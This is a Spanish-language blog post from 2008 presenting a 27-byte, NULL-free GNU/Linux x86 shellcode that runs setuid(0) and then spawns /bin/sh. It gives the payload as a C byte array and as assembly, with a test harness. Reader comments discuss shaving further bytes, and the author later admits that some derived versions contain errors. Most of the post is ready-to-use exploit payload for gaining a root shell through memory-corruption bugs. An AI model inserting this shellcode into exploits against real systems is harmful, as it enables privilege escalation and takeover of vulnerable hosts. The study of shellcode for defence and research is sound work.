Home > ASM, C/C++, Programacion, Shellcodes > GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL

GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Hacía bastante tiempo que no trabajaba con shellcodes, así que hice una para GNU/Linux x86 de 27 bytes, que ejecuta un setuid(0) y un execve(“/bin/sh”,0,0).

Hasta ahora, la más pequeña que he visto (pública) era de 28 bytes.

/*
Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) Shellcode
without NULLs

Coded by Chema Garcia (aka sch3m4)
   + [email protected]
   + http://safetybits.net
  Shellcode Size: 27 bytes
  Date: 13/11/2008
*/

#include 

const char shellcode[]=    "\x31\xC0"        //xor eax,eax
           "\x31\xC9"        //xor ecx,ecx
           "\xB0\x17"        //mov al,17h
           "\x60"            //pusha
           "\xCD\x80"        //int 80h
           "\x61"            //popa
           "\x51"            //push ecx
           "\x68\x6E\x2F\x73\x68"    //push 0x68732f6e
           "\x68\x2F\x2F\x62\x69"    //push 0x69622f2f
           "\x89\xE3"        //mov ebx, esp
           "\xB0\x0B"        //mov al,0xb
           "\xCD\x80";        //int 0x80

int main()
{
   printf("Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0)
Shellcode without NULLs"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + [email protected]"
           "\n\t + http://safetybits.net"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         //(*(void (*)()) shellcode)();

   return 0;
}
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h;setuid
pusha
int 80h
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb;execve
int 0x80

milw0rm: http://milw0rm.com/shellcode/7115
PacketStormSecurity: http://packetstormsecurity.org/filedesc/smallnonulls-exec.txt.html

Editado: Unos días después de publicarla, vlan7 optimizó la shellcode en un byte, el código podéis verlo en su blog. Desde aquí, mis felicitaciones a vlan7.

Categories: ASM, C/C++, Programacion, Shellcodes Tags:
  1. November 19th, 2008 at 16:39 | #1

    Buenas,

    Enhorabuena por tus proyectos en general y por tu shellcode en particular.

    Te escribia para decirte que con un par de modificaciones he conseguido reducir tu shellcode en un byte.

    Es una tonteria, eso diran, pero siempre pense que bien esta lo que bien funciona y mejor esta lo que mejor funciona.

    Si quieres pasarte por mi sitio este es:

    http://vlan7.blogspot.com

    Saludos,

    vlan7

  2. November 19th, 2008 at 17:25 | #2

    Jajaja, enhorabuena! ;) Se me pasó el cdq :/ Aunque con esa modificación estás limitando la shellcode a funcionar unicamente en modo usuario en algunos casos, ya que cdq solo pone edx a cero cuando eax < 0×80000000. Aun así, felicidades! ;)

    PD: Gracias por el comentario =)

  3. November 19th, 2008 at 23:43 | #3

    mmmm piensa que justo antes se hace un “xor eax,eax” asi que eax vale 0, por lo tanto no se esta limitando nada, sirve para _todos_ los casos, siempre pondra edx a 0 ;)
    Suerte y Exitos

  4. November 20th, 2008 at 00:03 | #4

    vaya tela cómo estoy hoy…

    Cierto =)

    Felicidades ;)

  5. March 10th, 2009 at 22:08 | #5

    ¿Asi como quedamos?

    History:
    + v1.0 (27 bytes) => http://safetybits.net/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/
    + v2.0/2.1 (26 bytes) => (http://vlan7.blogspot.com/) (2.1) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html (2.0)
    + v3.0 (25 bytes)

    v4.0 (24 bytes)

    ¿Cual es el shellcode más corto que ponga a cero todos los registros ?

  6. March 19th, 2009 at 21:34 | #6

    Hola planadecu, ha habido algunos errores a lo largo del desarrollo, y se enviaron mails a los sitios en los que se habían publicado cada una de las shellcodes, pero por lo que parece no todos reaccionaron, la buena es la de 28 bytes.

  7. November 6th, 2009 at 09:59 | #7

    Sounds interesting. Thanks for info .I like You Now! (sounds weird.. should say I follow you Now!.. ) :)

  1. No trackbacks yet.